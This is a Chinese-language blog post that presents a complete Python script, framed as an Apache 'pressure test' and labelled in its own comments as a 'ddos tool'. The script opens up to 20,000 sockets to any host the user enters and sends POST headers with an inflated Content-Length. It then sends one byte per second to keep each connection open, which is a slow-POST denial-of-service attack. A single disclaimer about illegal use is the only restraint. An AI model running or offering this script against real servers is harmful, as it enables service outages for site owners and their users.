Python编写服务器压力测试小工具
想知道你的网站能支持多少用户一起访问吗?想知道你的网站在遭遇DDOS时能坚持多长时间嘛?
此文章只适用于Apache服务器,不适用于Nginx及其它服务器。啥?你不知道这是什么,那么不要看了
考虑到Apache服务器的特性,一个连接对应一个线程(Nginx可以做到上万连接对应一个线程,需要用更复杂的工具),而处理线程会消耗服务器资源
所以,我来用Python写一个快速创建连接的脚本,以针对Apache特点进行压力测试
注意:此工具严禁用于非法用途,本人不负所有责任
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000 #最大连接数,可以按需修改,达到这个数值没有死就说明很棒了
PORT=int(input('请输入测试端口:'))
HOST=input('请输入测试域名/IP:')
PAGE=input('请输入要测试的页面(默认输入/index.php):')
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
现在附上GitHub的项目地址:
除非注明,文章均为学霸时光机原创,转载请遵循下文,注明出处URL
本站文章许可遵循《“知识共享”国际许可协议4.0》
本文地址:https://www.syf.ink/archives/849
评论请前往留言板,为您推荐以下文章~